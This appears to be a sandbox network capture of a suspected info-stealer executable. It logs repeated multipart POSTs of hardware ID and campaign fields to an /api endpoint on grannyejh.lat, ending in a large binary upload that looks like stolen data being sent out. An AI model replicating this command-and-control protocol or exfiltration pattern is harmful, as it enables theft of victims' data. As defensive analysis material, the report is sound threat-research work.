Dv2m3XQPHN1bCI+EGS5ntRdUeska4re44R+x8h2fAtov8+KFIQBMgiU7sJEOPSjwPEU51lr8t+DhX6LkHaBQhX+3rMZgDwLZdySklQg9I8kYb2vOBOa1x6wD579eohfjAd2wzHEPTvZiO66oIAl18DYAX8oC5re44R+x8h2fAtov8+DnZgEAmnp4u9YIfjykaAJriUylsPWzFfepS7FX4wHdsMxxD07raDK0gx0uY8kYb2vOBOa105tFwLxesh7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49730	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:49 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FZDMAC0SGOOKKBDA2O9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12857 Host: grannyejh.lat
2024-12-18 08:07:49 UTC	12857	OUT	Data Raw: 2d 2d 46 5a 44 4d 41 43 30 53 47 4f 4f 4b 4b 42 44 41 32 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 46 5a 44 4d 41 43 30 53 47 4f 4f 4b 4b 42 44 41 32 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 5a 44 4d 41 43 30 53 47 4f 4f 4b 4b 42 44 41 32 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 Data Ascii: --FZDMAC0SGOOKKBDA2O9Content-Disposition: form-data; name="hwid"8C6F564B18682ACB00D57F9DDD37BE0C--FZDMAC0SGOOKKBDA2O9Content-Disposition: form-data; name="pid"2--FZDMAC0SGOOKKBDA2O9Content-Disposition: form-data; name="lid"yau6Na--69
2024-12-18 08:07:50 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i1thfk1c7qjllt9s98fo3hh7m4; expires=Sun, 13-Apr-2025 01:54:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DM5EFEMJH9k%2B3XPBdahYtsg%2FtGS1U%2BUf5ZkptWg8NQZB2pyh3%2BYcFnYInbl1XOcD%2Bkp%2BPTuiHVTvs%2FxyaaJY5s8qkf3IcOhY%2F%2BgjM1ghlgATFeTeUodwS8dKWKA9yLSa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da956eee84304-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1699&rtt_var=642&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13795&delivery_rate=1718658&cwnd=248&unsent_bytes=0&cid=1afcb37d5b19a5fe&ts=817&x=0"
2024-12-18 08:07:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49732	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:51 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C14W5ZZH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15020 Host: grannyejh.lat
2024-12-18 08:07:51 UTC	15020	OUT	Data Raw: 2d 2d 43 31 34 57 35 5a 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 43 31 34 57 35 5a 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 31 34 57 35 5a 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 43 31 34 57 35 5a 5a 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --C14W5ZZHContent-Disposition: form-data; name="hwid"8C6F564B18682ACB00D57F9DDD37BE0C--C14W5ZZHContent-Disposition: form-data; name="pid"2--C14W5ZZHContent-Disposition: form-data; name="lid"yau6Na--6989783370--C14W5ZZHContent-Dis
2024-12-18 08:07:52 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lk7eignsc3sor1ka7psu7pk2as; expires=Sun, 13-Apr-2025 01:54:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qTsHzA8ptkhJh%2FZTgoIVg3GDRSQ8X68QkIqHaD0YIYydI14H9e3rbwn7RgMT%2Fjw6kMb%2Bh6Zr6oIS%2B509bpLtHLMiCPghS1iKGOkuqIqVTMMh49bCqyj7Lh5La79QkDME"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da964bbfb42b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2089&min_rtt=2087&rtt_var=787&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15947&delivery_rate=1386514&cwnd=211&unsent_bytes=0&cid=042b9def09c98080&ts=801&x=0"
2024-12-18 08:07:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49734	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:54 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0055V99GUATAED User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20223 Host: grannyejh.lat
2024-12-18 08:07:54 UTC	15331	OUT	Data Raw: 2d 2d 30 30 35 35 56 39 39 47 55 41 54 41 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 30 30 35 35 56 39 39 47 55 41 54 41 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 30 35 35 56 39 39 47 55 41 54 41 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 30 30 35 Data Ascii: --0055V99GUATAEDContent-Disposition: form-data; name="hwid"8C6F564B18682ACB00D57F9DDD37BE0C--0055V99GUATAEDContent-Disposition: form-data; name="pid"3--0055V99GUATAEDContent-Disposition: form-data; name="lid"yau6Na--6989783370--005
2024-12-18 08:07:54 UTC	4892	OUT	Data Raw: 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-12-18 08:07:55 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ni2li5v6sf3dbvhmgiqdm1jvu; expires=Sun, 13-Apr-2025 01:54:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c1w7gcrsk0KYXHwIjQfJ4SR7imChJrqiuynvteEB8mhxVNTwiz2jLpKOhJ%2FtkMKHueAz4KzzbhKL%2F2lIhF%2F1I4T%2FW3%2BGbYIQ3frPAgRGHHmjVppbD4m2QqR9ZGwGTBZS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da97458645e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1682&rtt_var=644&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21178&delivery_rate=1736028&cwnd=222&unsent_bytes=0&cid=15c3e29cfdc44764&ts=898&x=0"
2024-12-18 08:07:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49736	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:57 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RHCMICRUC9ZD1TDE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: grannyejh.lat
2024-12-18 08:07:57 UTC	1252	OUT	Data Raw: 2d 2d 52 48 43 4d 49 43 52 55 43 39 5a 44 31 54 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 52 48 43 4d 49 43 52 55 43 39 5a 44 31 54 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 48 43 4d 49 43 52 55 43 39 5a 44 31 54 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d Data Ascii: --RHCMICRUC9ZD1TDEContent-Disposition: form-data; name="hwid"8C6F564B18682ACB00D57F9DDD37BE0C--RHCMICRUC9ZD1TDEContent-Disposition: form-data; name="pid"1--RHCMICRUC9ZD1TDEContent-Disposition: form-data; name="lid"yau6Na--6989783370
2024-12-18 08:07:57 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n3mugo4f1v0bgbvc3tn27aogne; expires=Sun, 13-Apr-2025 01:54:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JUO9tIgTnksihmoOOHHnSjPzL2iqKYC2dgvy53pfM6PAMCFdx0oIdENlUM3NtEv%2BS05Ybh3xtjmSaPoYquc7fX%2BlgNPYlT2tiTTUvIynQaXCy6JIMltGRLBeg6M%2BuDuC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da9871a76f795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1579&rtt_var=605&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2164&delivery_rate=1788120&cwnd=185&unsent_bytes=0&cid=0d6f74f253d766eb&ts=773&x=0"
2024-12-18 08:07:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 08:07:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49737	172.67.179.109	443	3060	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:59 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K1V74VAR1EBA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571367 Host: grannyejh.lat
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 2d 2d 4b 31 56 37 34 56 41 52 31 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 36 46 35 36 34 42 31 38 36 38 32 41 43 42 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4b 31 56 37 34 56 41 52 31 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 31 56 37 34 56 41 52 31 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 4b 31 56 37 34 56 41 52 31 Data Ascii: --K1V74VAR1EBAContent-Disposition: form-data; name="hwid"8C6F564B18682ACB00D57F9DDD37BE0C--K1V74VAR1EBAContent-Disposition: form-data; name="pid"1--K1V74VAR1EBAContent-Disposition: form-data; name="lid"yau6Na--6989783370--K1V74VAR1
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a fb 4a 31 24 a9 f4 f5 55 cb 8b 66 6a 05 5f ac 7b fa 3d b9 3f 26 Data Ascii: Vf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4JJ1$Ufj_{=?&
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 a2 bc 23 f2 c1 7e ef a0 20 d8 af 71 f2 d9 0e 23 ef 4f fb 30 30 Data Ascii: ^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6#~ q#O00
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 ca b3 35 d0 dd 3c cc 59 04 50 42 52 f0 d7 a4 8e 27 f3 57 65 4a Data Ascii: K_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&5<YPBR'WeJ
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c 1e 5e 6a a7 23 88 ec 8b 3e d6 9b b3 1f 37 c3 75 b9 3b 6b 15 54 Data Ascii: DvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl^j#>7u;kT
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e b1 4c 47 34 bc be 0d b6 cb 46 e5 21 b2 fa e2 41 6c e7 5f c9 c9 Data Ascii: ~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>LG4F!Al_
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 02 e8 be 37 95 02 f1 da e2 b2 6b 4a 7b 51 f8 e8 d5 c2 47 15 a8 Data Ascii: 9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}n*C;jy)PYz;N}~=O[7kJ{QG
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc 1c 0f c0 c3 fa 43 4c 2f 89 c7 95 65 92 40 88 e9 28 4d 67 a2 9b Data Ascii: 9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2CL/e@(Mg
